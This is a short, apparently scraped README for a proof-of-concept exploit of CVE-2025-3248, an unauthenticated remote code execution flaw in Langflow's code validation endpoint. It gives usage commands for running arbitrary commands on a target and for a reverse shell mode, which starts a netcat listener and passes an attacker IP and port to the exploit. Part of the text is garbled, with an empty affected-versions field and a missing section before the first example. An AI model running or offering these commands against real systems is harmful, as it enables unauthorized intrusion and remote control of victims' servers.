langflow-exploit

## https://sploitus.com/exploit?id=96FB054B-D5D3-50DD-8F94-788DFA1EB4D2
# CVE-2025-3248 - Langflow Code Validation Endpoint RCE

A proof-of-concept exploit demonstrating a remote code execution vulnerability in Langflow's code validation endpoint. This vulnerability affects Langflow versions prior to 1.3.0, allowing unauthenticated attackers to execute arbitrary code through crafted HTTP requests.

## Vulnerability Details

- **CVE ID**: [CVE-2025-3248](https://nvd.nist.gov/vuln/detail/CVE-2025-3248)
- **Affected Versions**:  ""
```

Example:
```bash
python3 cve-2025-3248.py cmd http://target:7860 "id"
```

### 2. Reverse Shell Mode

Spawn an interactive reverse shell:

1. First, start a listener on your machine:
```bash
nc -lvnp 4444
```

2. Then run the exploit:
```bash
python3 cve-2025-3248.py shell   
```

Example:
```bash
python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444
```